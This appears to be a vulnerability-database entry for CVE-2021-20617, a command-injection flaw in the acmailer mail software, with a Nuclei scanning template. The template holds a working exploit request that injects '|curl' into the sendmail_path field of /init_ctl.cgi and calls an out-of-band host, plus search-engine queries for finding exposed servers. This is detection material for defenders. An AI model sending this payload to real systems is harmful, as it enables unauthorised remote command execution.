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Acmailer - Improper Access Control to OS Command Injection

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Improper access control in Acmailer enables remote OS command execution and privilege escalation.

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Circl
CVE-2021-20617
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14 Jan 202100:00
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CVE
CVE-2021-20617
14 Jan 202108:20
–cve
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CVE-2021-20617
14 Jan 202108:20
–cvelist
EUVD
EUVD-2021-8035
3 Oct 202520:07
–euvd
Japan Vulnerability Notes
JVN#35906450: Multiple vulnerabilities in acmailer
14 Jan 202100:00
–jvn
Japan Vulnerability Notes
Multiple vulnerabilities in acmailer
14 Jan 202107:22
–jvn
NVD
CVE-2021-20617
14 Jan 202109:15
–nvd
OSV
CVE-2021-20617
14 Jan 202109:15
–osv
Prion
Improper access control
14 Jan 202109:15
–prion
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id: CVE-2021-20617

info:
  name: Acmailer - Improper Access Control to OS Command Injection
  author: daffainfo
  severity: critical
  description: |
    Improper access control vulnerability in acmailer ver. 4.0.1 and earlier, and acmailer DB ver. 1.1.3 and earlier allows remote attackers to execute an arbitrary OS command, or gain an administrative privilege which may result in obtaining the sensitive information on the server via unspecified vectors.
  impact: |
    Attackers can execute arbitrary OS commands or escalate privileges, potentially leading to full system compromise and sensitive data exposure.
  remediation: |
    Update to the latest version of acmailer and acmailer DB to address the issue.
  reference:
    - https://starlabs.sg/blog/2023/02-dissecting-the-vulnerabilities-a-comprehensive-teardown-of-acmailer/
    - https://www.acmailer.jp/info/de.cgi?id=101
    - https://jvn.jp/en/jp/JVN35906450/index.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20617
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-20617
    epss-score: 0.07871
    epss-percentile: 0.93991
    cwe-id: NVD-CWE-Other
    cpe: cpe:2.3:a:acmailer:acmailer:*:*:*:*:*:*:*:*,cpe:2.3:a:acmailer:acmailer_db:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: acmailer
    product: acmailer,acmailer_db
    shodan-query: title="ACMAILER4.0"
    fofa-query: title="ACMAILER4.0"
  tags: cve,cve2021,acmailer,rce,vkev,oast,oob

variables:
  admin_name: "{{randbase(5)}}"
  email: "{{randstr}}@{{rand_base(5)}}.com"

http:
  - raw:
      - |
        POST /init_ctl.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        admin_name={{admin_name}}&admin_email={{email}}&login_id=loginid&login_pass=loginpw&sendmail_path=|curl http://{{interactsh-url}}&homeurl=http%3A%2F%2Fexample.com&mypath=env%2F

    matchers:
      - type: dsl
        dsl:
          - "contains(interactsh_request, 'User-Agent: curl')"
          - "contains(interactsh_protocol, 'http')"
          - contains(body, "<a href=\"index.cgi\">")
          - 'status_code == 302'
        condition: and
# digest: 490a0046304402202e966718ce1598e53f199e3d28d959abef73304de4443b30eebb1af4695db4c10220259eb08bb2c5c4aeea6d6d3024854219dbdc4072375419bbdbef2865f6faa1d4:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
7.4High risk
Vulners AI Score7.4
CVSS 3.19.8
CVSS 210
EPSS0.07871
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